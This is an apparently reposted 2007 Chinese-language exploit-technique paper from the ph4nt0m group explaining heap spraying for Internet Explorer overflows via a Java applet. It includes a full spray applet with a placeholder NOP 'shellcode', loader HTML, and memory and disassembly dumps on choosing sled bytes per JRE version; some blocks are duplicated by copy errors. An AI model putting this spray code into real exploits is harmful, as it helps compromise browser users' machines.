[Paper]Advanced Heap Spray Technique -- Heap Spray in Java
author: axis
mail: axis@ph4nt0m.org
Date: 2007-03-06
From: http://www.ph4nt0m.org
http://blog.ph4nt0m.org
http://groups.google.com/group/ph4nt0m
本来是想等幻影的luoluo整理一篇比较好的paper的,但是luoluo时间比较少,我就先写点tips,来抛砖引玉。
我们知道,在ie相关的溢出中,因为heap spray技术的限制,在js中无法将heap spray的地址推到内存高位,从而会引起访问了多网页后,就无法正常触发溢出的问题。
详情可以见我的文章《MS07-004通用溢出方法补完》http://my.opera.com/pstgroup/blog/ms07-004
那么是不是heap spray技术真的就有这个限制呢?答案是否定的。其实当前的heap spray技术,还是很有潜力可以挖的,可以做出许多改进。
一、传统的Heap Spray
传统的Heap Spray是使用js分配内存。根据heap spray的思想,就是用同样的一个指令,去覆盖一片大内存地址,在每块分配到的内存最后,都付上我们的shellcode。
对这个指令的要求是,相当于NOPS的作用。且该指令指向的地址,正好落在我们覆盖的这片大存在地址中。
上面说的可能有些绕口,在实际exploit中,就是分配这样的一片内存区域,比如
0B2701B0 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ... ... ... ... ... .
0B2701C0 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ... ... ... ... ... .
0B2701D0 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ... ... ... ... ... .
0B2701E0 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ... ... ... ... ... .
0B2701F0 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ... ... ... ... ... .
0B270200 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ... ... ... ... ... .
0B270210 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ... ... ... ... ... .
0B270220 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ... ... ... ... ... .
0B2701C0 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ... ... ... ... ... .
0B2701D0 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ... ... ... ... ... .
0B2701E0 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ... ... ... ... ... .
0B2701F0 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ... ... ... ... ... .
0B270200 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ... ... ... ... ... .
0B270210 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ... ... ... ... ... .
0B270220 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ... ... ... ... ... .
这样,0x0c0c0c0c的地址的内容也是 0c0c0c0c
0C0C0C0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ... ... ... ... ... .
0C0C0C1C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ... ... ... ... ... .
0C0C0C2C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ... ... ... ... ... .
0C0C0C3C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ... ... ... ... ... .
0C0C0C4C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ... ... ... ... ... .
0C0C0C5C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ... ... ... ... ... .
0C0C0C1C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ... ... ... ... ... .
0C0C0C2C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ... ... ... ... ... .
0C0C0C3C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ... ... ... ... ... .
0C0C0C4C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ... ... ... ... ... .
0C0C0C5C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ... ... ... ... ... .
而0c这个指令正好是双字节指令,且对寄存器影响最小,可以起到nops的作用
0C0C0C0C 0C 0C OR AL,0C
0C0C0C0E 0C 0C OR AL,0C
0C0C0C10 0C 0C OR AL,0C
0C0C0C12 0C 0C OR AL,0C
0C0C0C14 0C 0C OR AL,0C
0C0C0C16 0C 0C OR AL,0C
0C0C0C0E 0C 0C OR AL,0C
0C0C0C10 0C 0C OR AL,0C
0C0C0C12 0C 0C OR AL,0C
0C0C0C14 0C 0C OR AL,0C
0C0C0C16 0C 0C OR AL,0C
所以如果我们把我们的eip指向了0x0c0c0c0c这个地址,就会一直在这片内存中执行下去,一直执行到我们的shellcode为止。
二、因为0x0c0c0c0c这个地址在内存中并不高,js分配内存就会影响到这一段,所以如果ie之前访问了很多网页,特别是一些比较大的网页,就会影响到这段地址,从而导致我们heap spray失败。
而在java中,我们则可以有效的避免这个问题,因为java分配内存的地址,本来就比js分配的地址要高。
Heap Spray是一种思想,和用什么语言实现无关,所以我们可以选择java,也同样可以选择其他语言,比如flash。
我们看如下的java代码
/*
* <applet code="myJavaHeap.class" width="0" height="0"></applet>
*/
import java.io.*;
import java.applet.*;
import java.awt.*;
public class myJavaHeap extends Applet {
byte[] shellcode = new byte[]
{
(byte)0x90, (byte)0x90, (byte)0x90, (byte)0x90, (byte)0x90, (byte)0x90, (byte)0x90,
(byte)0x90, (byte)0x90, (byte)0x90, (byte)0x90, (byte)0x90, (byte)0x90, (byte)0x90,
(byte)0x90, (byte)0x90
};
public void paint(Graphics g) {
int heapBlockSize = 0x5000000;
int heapSlidSize = 0x100000;
byte[] buffer = new byte[heapBlockSize];
byte heapFilling = (byte)0x14;
for (int i = 0; i < buffer.length; i ++) {
buffer[i] = heapFilling;
}
for (int i = 1; i < 0x50; i ++) {
for (int j = 0; j < shellcode.length; j ++) {
buffer[i * heapSlidSize - shellcode.length - 0x1000 + j] = shellcode[j];
}
}
}
}
* <applet code="myJavaHeap.class" width="0" height="0"></applet>
*/
import java.io.*;
import java.applet.*;
import java.awt.*;
public class myJavaHeap extends Applet {
byte[] shellcode = new byte[]
{
(byte)0x90, (byte)0x90, (byte)0x90, (byte)0x90, (byte)0x90, (byte)0x90, (byte)0x90,
(byte)0x90, (byte)0x90, (byte)0x90, (byte)0x90, (byte)0x90, (byte)0x90, (byte)0x90,
(byte)0x90, (byte)0x90
};
public void paint(Graphics g) {
int heapBlockSize = 0x5000000;
int heapSlidSize = 0x100000;
byte[] buffer = new byte[heapBlockSize];
byte heapFilling = (byte)0x14;
for (int i = 0; i < buffer.length; i ++) {
buffer[i] = heapFilling;
}
for (int i = 1; i < 0x50; i ++) {
for (int j = 0; j < shellcode.length; j ++) {
buffer[i * heapSlidSize - shellcode.length - 0x1000 + j] = shellcode[j];
}
}
}
}
编译后构造如下html:
<html>
<applet code="myJavaHeap.class" width="100" height="100"></applet>
<script>alert("Heap Spray End!");</script>
</html>
<applet code="myJavaHeap.class" width="100" height="100"></applet>
<script>alert("Heap Spray End!");</script>
</html>
以上的代码分配内存的地址,基本上在0x10800000 -- 0x16000000 左右
所以我们选用的指令只能是 0x11 -- 0x15之间选择。
经过检查,发现 0x14 和0x15都是非常好的指令,0x14和0x0c一样,都是双字节指令
14141414 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14
14141424 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14
14141434 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14
14141444 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14
14141454 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14
14141464 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14
14141474 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14
14141424 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14
14141434 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14
14141444 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14
14141454 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14
14141464 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14
14141474 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14
反汇编后:
14141414 14 14 ADC AL,14
14141416 14 14 ADC AL,14
14141418 14 14 ADC AL,14
1414141A 14 14 ADC AL,14
1414141C 14 14 ADC AL,14
1414141E 14 14 ADC AL,14
14141420 14 14 ADC AL,14
14141422 14 14 ADC AL,14
14141424 14 14 ADC AL,14
14141416 14 14 ADC AL,14
14141418 14 14 ADC AL,14
1414141A 14 14 ADC AL,14
1414141C 14 14 ADC AL,14
1414141E 14 14 ADC AL,14
14141420 14 14 ADC AL,14
14141422 14 14 ADC AL,14
14141424 14 14 ADC AL,14
可见选用0x14去实现heap spray是完全可行的,而且可以避免ie访问多网页的问题。
选用0x15的情况如下:
14141414 15 15151515 ADC EAX,15151515
14141419 15 15151515 ADC EAX,15151515
1414141E 15 15151515 ADC EAX,15151515
14141423 15 15151515 ADC EAX,15151515
14141428 15 15151515 ADC EAX,15151515
1414142D 15 15151515 ADC EAX,15151515
14141432 15 15151515 ADC EAX,15151515
14141437 15 15151515 ADC EAX,15151515
14141419 15 15151515 ADC EAX,15151515
1414141E 15 15151515 ADC EAX,15151515
14141423 15 15151515 ADC EAX,15151515
14141428 15 15151515 ADC EAX,15151515
1414142D 15 15151515 ADC EAX,15151515
14141432 15 15151515 ADC EAX,15151515
14141437 15 15151515 ADC EAX,15151515
也是可以用的。
我的测试环境是 JRE 1.5.0_11
如果是不同的JRE版本,可能会导致分配内存的地址不同,比如之前的版本,可能会分配在0x21000000-0x27000000
所以需要选用0x21 - 0x26之间的地址。 经过测试,可以实际选用的指令是 0x24、0x25等。
三、优缺点分析
使用java进行heap spray的优点是很明显的:分配内存速度快,占用内存小(比js分配的小多了),而且分配的内存地址是在内存中相对比较高的地址,避免了ie访问多网页导致溢出失败的问题。
但同时缺点也同样明显:受到jre普及度的限制,不同jre版本可能分配的地址不同,从而影响通用性,等。
四、总结
本文的目的在于抛砖引玉,Heap Spray技术已经有不短的历史了,但是比较少见系统的总结paper,继续期待幻影luoluo的大作。
五、参考文档
Sun Microsystems Java GIF File Parsing Memory Corruption Vulnerability Prove Of Concept Exploit
http://www.milw0rm.com/exploits/3168 by luoluo@ph4nt0m
题外话:幻影(www.ph4nt0m.org)最近一直被ddos,我们正在考虑更换服务器所在的机房。最近幻影开始主推邮件列表(http: //groups.google.com/group/ph4nt0m)和blog(http://blog.ph4nt0m.org)。
没有评论:
发表评论